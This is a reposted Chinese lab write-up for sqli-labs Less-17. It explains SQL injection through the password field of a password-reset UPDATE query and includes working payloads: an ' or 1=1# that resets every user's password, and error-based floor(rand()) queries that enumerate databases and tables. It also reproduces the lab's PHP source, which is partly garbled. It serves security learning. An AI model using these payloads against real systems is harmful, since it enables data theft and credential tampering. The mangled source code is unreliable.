- 转自一位不知名大佬的笔记
-----------------------------------less-17-----------------------------------
原url
http://192.168.137.138/sqli-labs-master/Less-17/
页面显示:
[PASSWORD RESET](密码重置)
说明这个页面很有可能是 使用了 update 语句
很多 网页 有修改 密码的功能(重置密码),类似于此网页,输入一个 用户名,然后输入新密码,返回页面提示:密码修改成功
先猜测这个页面的 后台 sql 语句:
update table set password= inputpass where username=" inputuname ";
当然,这个 inputpass 和 inputuname 两侧可能有闭合条件,但是可以初步猜测为以上语句
可以看出, password reset 页面,既然在 username 没法注入,而且又使用了 update
语句,所以可以试试在 inputpass 里构造语句
第二步:
--基于password 的测试,判断注入的可行性
**哎太菜,不知道为什么 测试 password 的时候,必须满足 username 框中的值是正确的,返回页面才会正确
现在不忙管那么多
构造语句:
username 框中输入 : admin
New Password 框中输入:'\
页面报错了:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' WHERE username='admin'' at line 1
错误分析:
near '' WHERE username='admin'' at line 1
先分离最外层 的 单引号
near ' ' WHERE username='admin' ' at line 1
先看 admin ,admin是由 ''包裹的,修改一下猜测的语句:
update table set password= inputpass where username='inputuname'
本来是 输入 的 '\ ,为什么变成 ' 了呢????
分析:
先将 '\ 复制到 inputpass 这个位置代替
update table set password='\ where username='inputuname'
假设 inputpass 之前也是 被 '' 包裹,那么'\放在inputpass的效果为:
update table set password=''' where username='inputuname'
password 等于一个空
update table set password='' ' where username='inputuname'
左边构成了 password 等于 空 的语句,虽然为空,但是没有语法错误
右边 出现了 ' 没闭合的情况,所以会爆语法错误
所以后台 sql 语句应该为:
update table set password='inputpass' where username='inputuname'
因为inputpass这里出错了,所以爆出了语法错误
说明:基于password 的测试,判断出注入是存在的
第三步:
-- SET 语句接收逻辑运算值的执行结果
构造一个普通的语句:
' or 1=1#
(这个只是 inputpass 的内容,不要忘了 inputuname 的内容是必须为真的 用admin吧)
将其放入猜测好的 sql 语句中:
update table set password='' or 1=1 # where username='inputuname'
(user name 框里 填入 admin,不然的话会失败)
后面的东西不用管,被注释了
update table set password='' or 1=1
这个是个什么意思呢??
返回 后台 sql 中查询一下
mysql> select * from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | 1 |
| 2 | Angelina | 1 |
| 3 | Dummy | 1 |
| 4 | secure | 1 |
| 5 | stupid | 1 |
| 6 | superman | 1 |
| 7 | batman | 1 |
| 8 | admin | 1 |
| 9 | admin1 | 1 |
| 10 | admin2 | 1 |
| 11 | admin3 | 1 |
| 12 | dhakkan | 1 |
| 14 | admin4 | 1 |
+----+----------+----------+
13 rows in set (0.00 sec)
发现所有的 password 都被改成 1 了
分析语句:
update table set password='' or 1=1
更新 users 表里的 password 内容 为 空 或者 1=1
知道了 or 是其一为真就为真,所以 等号 后的条件 返回 为 真(也就是1)
更新 users 表里的 password 内容 为 1,而where条件被注释了,所有的where条件都会被修改
所以说 SET 语句 接收 逻辑运算的结果,逻辑运算就是 空 or 1=1
前端注入测试
通过前面的测试,大致掌握了 update 语句的结构,注入点在 password 的位置上
那么该采用什么注入类型呢?
既然在 password 的位置上 能爆出语法错误
那么尝试一下 基于错误的注入的 语句
就用之前学的 逻辑错误吧
先构造一个:
' and (select 1 from (select count(),concat(':::',database(),':::',floor(rand()2))x from information_schema.tables group by x ) a ) #
把这个语句呢,放在 password 框里试一试
效果:
Duplicate entry '::security::0' for key 'group_key'
看见熟悉的错误语句了,顺便也把当前使用的数据库名给抱了出来
来看看有哪些数据库
构造语句:
' and (select 1 from (select count(),concat('::',(select schema_name from information_schema.shemata limit 0,1),'::',floor(rand()2))x from information_schema.columns group by x) a ) #
效果:
Duplicate entry '::information_schema::0' for key 'group_key'
只要修改 limit 后面的行数 就可以 遍历 所有 数据库了
来查一查security数据库中 有哪些表:
构造语句:
' and (select 1 from (select count(),concat('::',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'::',floor(rand()2))x from information_schema.tables group by x) A ) #
效果如下:
Duplicate entry '::emails::1' for key 'group_key'
同样的,只要修改 limit 后面的行数 就可以 遍历 所有 security 中的表名了
列名也是一样的方法,内容查询也一样
但是有个问题,比如我要查找 users表下面 的username 和 password
查找 password 的时候,有一定的几率会使 password 改变......
比如我把 secure 用户 对应的 password 改成 123456789
然后去查找 password :
效果如下:
中间有几次显示失败了,因为本来这个逻辑BUG就是不确定的嘛,但是 由于 update 语句的特性
使得 password 本来是 1234567 的改成了
Duplicate entry '::0::0' for key 'group_key'
0
扯淡。。。。。
因为本身这个 页面 的update 语句就是用来修改 password 的
如果去查找 password 那么,根据 floor(rand()*2) 有一定几率失败的尿性,得出了有一定几率修改 password 的结果
遍历整个 注入 过程;
-- 基于username 的测试,判断注入的可行性
-- 基于password 的测试,判断注入的可行性
-- SET 语句接收逻辑运算值的执行结果(特性)
-- 判断后台 SQL 语句结构
-- 构造注入语句
-----------------------------------源码部分----------------------------------
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input(value))
{
// truncation (see comments)
value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset(_POST['passwd']))
{
//making sure uname is not injectable
_POST['uname']);
_POST['passwd'];
//logging the connection parameters to a file for analysis.
fp,'User Name:'.fp,'New Password:'.fp);
// connectivity
@uname LIMIT 0,1";
sql);
result);
//echo row)
{
//echo '';
row['username'];
//echo 'Your Login name:'. update="UPDATE users SET password = 'row1'";
mysql_query($update);
echo "
";
if (mysql_error())
{
echo '';
print_r(mysql_error());
echo "";
echo "";
}
else
{
echo '';
//echo " You password has been successfully updated " ;
echo "
";
echo "";
}
echo '';
//echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
//echo "Bug off you Silly Dumb hacker";
echo "";
echo '';
echo "";
}
}
?>
可以从源码中看出:
_POST['uname']);
从 username 框中输入的 值,一传参到服务器中,就被放到 check_input 函数去做防sql注入处理了
但是 _POST['passwd']; 没有做任何处理
因为 本来 人家就是 修改密码的,你如果把这个密码给处理的话,那么别人 的原密码怎么办(现在太菜,想不出办法,强行如此理解)
passwd' WHERE username='$row1'";
可以看出,这里是使用了update语句的
@uname LIMIT 0,1";
这里的sql 语句也只是 用 where 判断了 username 是否为真,这也就解释了,为什么在注入的时候,为什么 username 框里必须填真值,如果不是真值的话,那么后面的语句:
if($row)
就不会执行,而 update 语句是在 if 语句下的,所以username要为真,才能利用 SET 的逻辑运算
哎太菜,不知道为什么 测试 password 的时候,必须满足 username 框中的值是正确的,返回页面才会正确
并不是太菜,而是不知道 页面 相关的 后台语句是什么,所以无法判断准确